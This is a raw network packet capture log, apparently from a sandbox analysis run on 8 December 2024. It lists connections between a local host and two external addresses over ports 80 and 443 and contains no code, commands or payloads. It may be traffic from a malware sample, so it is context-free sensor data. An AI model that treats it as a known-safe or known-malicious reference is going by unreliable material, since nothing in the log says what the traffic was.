Dec 8, 2024 00:48:46.904764891 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:46.954314947 CET	443	49800	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:46.954370022 CET	443	49800	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:46.954586029 CET	49800	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:46.954615116 CET	49800	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:46.954627991 CET	443	49800	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:46.954638958 CET	49800	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:46.954643965 CET	443	49800	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:46.957190037 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:46.957222939 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:46.957283974 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:46.957418919 CET	49805	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:46.957433939 CET	443	49805	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.018388033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.018502951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.018563032 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.018805981 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.018860102 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.018922091 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.018971920 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.019609928 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.019659042 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.019721031 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.019772053 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.020423889 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.020469904 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.020580053 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.020626068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.021244049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.021296024 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.021353960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.021401882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.022058964 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.022104979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.022161961 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.022208929 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.022851944 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.022900105 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.022981882 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.023030043 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.023698092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.023750067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.023777962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.023824930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.024497986 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.024540901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.024612904 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.024657011 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.025296926 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.025346041 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.025449038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.025496006 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.026137114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.026184082 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.026230097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.026271105 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.026911020 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.026958942 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.027023077 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.027071953 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.027723074 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.027771950 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.027839899 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.027887106 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.028549910 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.028597116 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.028676033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.028723001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.029350996 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.029398918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.029476881 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.029525995 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.030145884 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.030189991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.084928036 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.084981918 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.085001945 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.085020065 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.142676115 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.142730951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.142772913 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.142786026 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.142920971 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.142965078 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.143002987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.143050909 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.143718004 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.143763065 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.143794060 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.143835068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.144210100 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.144256115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.144319057 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.144362926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.145054102 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.145101070 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.145144939 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.145188093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.145842075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.145889044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.145941019 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.145987988 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.146644115 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.146689892 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.146744967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.146792889 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.147453070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.147497892 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.147572994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.147618055 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.148257017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.148303032 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.148365021 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.148411036 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.149075031 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.149122000 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.149194002 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.149235964 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.149894953 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.149940014 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.150002956 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.150049925 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.150717974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.150763988 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.150819063 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.150866032 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.151526928 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.151572943 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.151628971 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.151675940 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.152333975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.152379990 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.152446985 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.152492046 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.153115988 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.153162003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.153258085 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.153302908 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.154088974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.154131889 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.154146910 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.154187918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.154755116 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.154799938 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.154846907 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.154886961 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.155968904 CET	443	49802	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156023979 CET	443	49802	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156064034 CET	49802	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.156172037 CET	49802	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.156183958 CET	443	49802	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156193018 CET	49802	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.156199932 CET	443	49802	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156476974 CET	443	49804	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156549931 CET	443	49804	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156599998 CET	49804	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.156655073 CET	49804	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.156678915 CET	443	49804	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156692982 CET	49804	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.156697989 CET	443	49804	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156758070 CET	443	49803	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156826019 CET	443	49803	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.156863928 CET	49803	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.157315016 CET	49803	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.157327890 CET	443	49803	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.157339096 CET	49803	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.157344103 CET	443	49803	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.159079075 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159096956 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.159158945 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159249067 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159265995 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.159308910 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159514904 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159524918 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.159590960 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159603119 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.159982920 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.159997940 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.160048962 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.160137892 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.160150051 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.161911964 CET	443	49801	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.161966085 CET	443	49801	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.162009001 CET	49801	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.162111044 CET	49801	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.162115097 CET	443	49801	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.162125111 CET	49801	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.162127972 CET	443	49801	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.163808107 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.163822889 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.163885117 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.163985014 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:47.163997889 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:47.267107010 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.267175913 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.267256975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.267308950 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.267461061 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.267508984 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.267615080 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.267640114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.267661095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.267684937 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.268099070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.268141031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.268182993 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.268227100 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.268889904 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.268934965 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.268992901 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.269041061 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.269756079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.269802094 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.269812107 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.269853115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.270508051 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.270561934 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.270612955 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.270661116 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.271310091 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.271363020 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.271415949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.271462917 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.272116899 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.272165060 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.272224903 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.272272110 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.272973061 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.273020983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.273089886 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.273135900 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.273751020 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.273797035 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.273854971 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.273900986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.274591923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.274636030 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.274723053 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.274769068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.275377035 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.275424004 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.275465965 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.275525093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.276171923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.276217937 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.276278973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.276325941 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.276995897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.277044058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.277106047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.277153015 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.277821064 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.277878046 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.277950048 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.277997971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.278620958 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.278667927 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.278742075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.278786898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.279465914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.279514074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.279581070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.279628038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.280203104 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.280251026 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.391690016 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.391741991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.391793013 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.391835928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.392049074 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.392108917 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.392154932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.392203093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.392246962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.392297983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.392962933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.393008947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.393063068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.393131971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.393783092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.393827915 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.393888950 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.393938065 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.394587994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.394639015 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.394690990 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.394745111 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.395401955 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.395452023 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.395507097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.395555019 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.396219015 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.396267891 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.396325111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.396378040 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.397022009 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.397080898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.397176981 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.397221088 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.397835016 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.397876978 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.397943020 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.397984028 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.398678064 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.398726940 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.398786068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.398837090 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.399477959 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.399525881 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.399583101 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.399656057 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.400281906 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.400336027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.400362015 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.400407076 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.401099920 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.401148081 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.401195049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.401237011 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.401961088 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.402009010 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.402062893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.402105093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.402708054 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.402759075 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.402811050 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.402915001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.403548002 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.403598070 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.403676987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.403724909 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.404328108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.404381990 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.404443026 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.404489994 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.516107082 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.516192913 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:47.516272068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:47.516402960 CET	80	49784	185.215.113.206	192.168.2.7
